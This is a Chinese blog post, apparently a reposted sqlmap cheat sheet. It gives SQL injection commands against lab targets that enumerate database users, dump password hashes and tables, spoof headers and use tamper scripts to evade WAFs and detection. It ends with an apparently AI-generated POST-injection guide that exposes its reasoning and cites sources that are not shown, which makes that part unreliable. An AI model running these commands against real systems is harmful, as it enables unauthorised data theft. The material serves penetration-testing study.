sqlmap 常用的注入格式

本文详细介绍SQLMap工具的各种高级使用技巧,包括如何通过不同参数实现数据库信息的快速获取、注入点定位、暴力破解等功能,适用于渗透测试及安全评估场景。

来源:https://blog.youkuaiyun.com/ski_12/article/details/58188331

-u #注入点
-r “” # 加载文件注入

sqlmap.py -r “d://a.txt”

-f #指纹判别数据库类型
这里写图片描述
-b #获取数据库版本信息 也可以写成–banner
-d参数,直接连接数据库服务器,作为数据库客户端使用而不是通过SQL注入漏洞查询进行,查询速度较快,前提是已知数据库当前的用户名及其密码、IP、端口(3306端口为mysql)和数据库名称(dvwa):

sqlmap.py -d “mysql://user:password@10.10.10.137:3306/dvwa” -f --users

-p #指定可测试的参数(?page=1&id=2 -p “page,id”) 使- -level失效
-m参数,将有多个URL的文件提交上来进行扫描:

sqlmap.py -m urllist.txt --users

-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “
-wizard:命令参数向导

--columns #列出字段
--cookie="cookie"    #携带cookie连接
--current-db  #查看当前数据库管理系统用户
--current-user #查看当前数据库管理**系统用户**
--users #查看当前数据库的**所有用户**
--passwords #数据库用户所有密码
--privileges #查看用户权限(–privileges -U root)
--dbs     #列出所有数据库
--tables -D 指定数据库    #列出指定数据库中的表
-D dvwa T  users --columns    #列出dvwa数据库中的users表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--hostname:查看目标主机名

携带cookie认证注入
sqlmap.py -u “url” –cookie=”cookie” –batch

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=h1hueell46k88im8tcv385af64" --batch

-p 指定可测试的参数 ?page=1&id=2 -p “page,id”

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=h1hueell46k88im8tcv385af64" -p id --batch

HTTPS:

扫描HTTPS网站时需要添加参数–force-ssl:

sqlmap.py -u “https://10.10.10.137/a.php?id=1:8843” --force-ssl

Request:
–data数据段:将URL中的参数部分放到后面

GET/POST都适用,在GET方法中将URL后面的参数部分提取出来就好,在POST方法中需要自己用Burpsuite查看URL和参数的值即可,当然也可以在浏览器中F12打开开发者工具来查看。

sqlmap.py -u "http://127.0.0.1/DVWA/login.php" --data="username=admin&password=password&Login=Login&user_token=527b2c45a380daf44439229f87dfb3e7" -f

--param-del:变量分隔符

默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符。

sqlmap.py -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1;password=2;login-php-submit-button=Login" --param-del=";" -f

很多服务器对于user-agent中出现sqlmap字样的都会被过滤掉,因此需要通过–user-agent参数进行修改,可以从刚刚用的Burpsuite中找:
这里写图片描述

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0"

--host:修改Host头主机内容

Level=5时sqlmap自动扫描

有上面的扫描结果知道,Host为10.10.10.137,直接在上面的命令中添加–host修改为HHH:
这里写图片描述

--referer:

Level>=3时sqlmap自动扫描:
这里写图片描述

Referer头显示的是当前页面的URL:
这里写图片描述

修改为RRR:
这里写图片描述

–headers:

自定义的HTTP头,每行一个头,大小写区分:

--headers=”Host:HT\nUser-Agent:UA”

这里写图片描述

--method=GET/POST:指定使用GET方法或者POST方法

基于HTTP协议的身份验证:
Basic:基本身份验证
Digest:摘要身份验证
NTLM:Windows可能用的身份验证

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0"  --auth-type Basic --auth-cred “user:password”

--auth-file:

需要PEM格式的证书文件

--auth-file=”ca.PEM”

http(s)代理:

--proxy=”http://127.0.0.1:8087”

--proxy-cred=”username:password”:身份认证

--ignore-proxy:忽略系统级代理设置,通常用于扫描本地网络目标

sqlmap -u “http://10.10.10.137/a.php?id=1” --proxy=”http://127.0.0.1:8087” -f

因为检测和盲注阶段会产生大量失败请求,服务器可能会销毁session。因此可以使用上述两个参数来解决,每发送–safe-freq次注入请求后,发送一次正常请求,即发送几个失败请求后就发送一次正常信息,绕过服务器的检测机制。

 --safe-url和--safe-freq:
  --keep-alive:

使用http(s)长连接,避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源

与–proxy参数不兼容

–threads:

最大并发线程,默认值为1,建议不要超过10,否则会影响站点可用性

与–predict-output参数不兼容
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束

–skip:排除指定的扫描参数

--level=5 --skip=”id,user-agent”
--dbms:指定数据库,可以加版本号,提高注入的效率 

数据库名如MySQL<5.0>、Oracle<11i>、Microsoft SQL Server<2005>、PostgreSQL等

–tamper:

混淆脚本,用于绕过应用层过滤、IPS、WAF

查看脚本:dpkg -L sqlmap | grep tamper

 sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --tamper="randomcase.py,space2dash.py" --users -v 3

Brute Force:

无权读取information_schema库时,需要用到暴力破解来扫描
–common-tables:暴力破解表名

–common-columns:暴力破解列名

<think>好的,用户现在想了解如何使用sqlmap对POST请求进行SQL注入测试。之前已经讨论过sqlmap--technique参数,用户可能已经对sqlmap的基础有了一定了解。现在需要详细说明POST注入的具体步骤和方法。 首先,我需要参考用户提供的站内引用,特别是引用[2]、[3]和[4],因为它们直接提到了POST注入的操作步骤。引用[2]提到使用Burp Suite拦截POST请求并保存为txt文件,然后用sqlmap-r参数加载。引用[3]和[4]也提到了类似的步骤,比如使用-r参数指定请求文件,以及使用--data参数直接传递POST数据。 用户的问题集中在POST请求的测试流程,所以需要分步骤解释,从准备请求数据开始,包括使用Burp Suite抓包或者手动构建POST数据。然后介绍sqlmap的不同命令参数,比如--data和-r的区别,以及常用的选项如-p指定参数--batch自动执行,--dbs获取数据库等。 还需要注意用户可能的疑惑点,比如如何确定注入点参数,是否需要处理Cookie或Headers,以及不同场景下的实际案例,比如登录表单或搜索功能。此外,结合之前的回答提到的--technique参数,可能需要提醒用户根据实际情况调整注入技术以提高效率。 最后,要确保回答结构清晰,步骤明确,并附上相关问题,帮助用户进一步学习。同时,要检查引用是否正确,比如引用[2]提到结合Burp Suite和-r参数,引用[3]中的各种命令示例,引用[4]中的实例操作,确保信息准确无误。</think>以下是通过sqlmap进行POST请求SQL注入测试的详细步骤,结合Burp Suite和直接命令行两种方式实现: ### 一、准备POST请求数据 #### 方法1:Burp Suite抓包 1. **配置代理** Burp Suite设置监听端口(如`127.0.0.1:8080`),浏览器配置相同代理[^2] 2. **拦截请求** 提交目标表单(如登录/搜索),Burp Suite会捕获类似请求: ```http POST /login.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded username=test&password=123 ``` 3. **保存请求文件** 将完整请求内容保存为`.txt`文件(如`post.txt`)[^4] #### 方法2:手动构建请求 直接通过`--data`参数传递POST数据: ```bash sqlmap -u "http://example.com/login.php" --data="username=test&password=123" ``` --- ### 二、注入测试命令 #### 基础命令 ```bash sqlmap -r post.txt -p "username" --batch --dbs ``` - `-r`:加载含POST请求的抓包文件[^2][^4] - `-p`:指定测试参数(如`username`字段) - `--batch`:自动选择默认选项[^3] - `--dbs`:枚举数据库 --- ### 三、进阶操作 #### 1. 指定注入点参数包含特殊字符(如`json={...}`),需用`*`标记注入位置: ```http POST /api HTTP/1.1 Content-Type: application/json {"user":"test*","token":"abc"} ``` 命令行: ```bash sqlmap -r post.txt -p "user" ``` #### 2. Cookie/Header处理 需要认证时添加`--cookie`或`--headers`: ```bash sqlmap -u "http://example.com/search" --data="keyword=test" --cookie="PHPSESSID=abc123" --level=3 ``` #### 3. 结果提取 | 命令参数 | 功能 | 示例输出 | |------------------|---------------------------|--------------------------| | `--current-db` | 获取当前数据库 | `current database: 'testdb'` | | `-D testdb --tables` | 列举数据库表 | `[2 tables] users, orders` | | `-T users --columns` | 获取表字段 | `id, username, password` | | `--dump` | 导出数据 | 显示所有记录内容 | --- ### 四、典型场景案例 #### 案例1:登录表单注入 ```bash sqlmap -r login.txt -p "password" --technique=BE --risk=3 ``` - `--technique=BE`:布尔/时间盲注组合 - `--risk=3`:启用危险操作(如`OR 1=1`) #### 案例2:JSON格式注入 ```bash sqlmap -u "http://api.example.com" --data='{"id":1}' --headers="Content-Type: application/json" --level=5 ``` --- ### 五、常见问题处理 1. **请求遗漏** 确保抓包文件包含完整的`Host`和`Content-Type`头部[^2] 2. **WAF绕过** 添加`--tamper=space2comment`等脚本混淆payload 3. **速度优化** ```bash sqlmap -r post.txt --threads=5 --optimize ``` --- ### 六、综合操作流程图 ```mermaid graph TD A[启动Burp Suite抓包] --> B{是否含动态参数?} B -->|是| C[保存为post.txt] B -->|否| D[手动构建--data参数] C --> E[执行sqlmap -r post.txt] D --> E E --> F[分析注入结果] ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值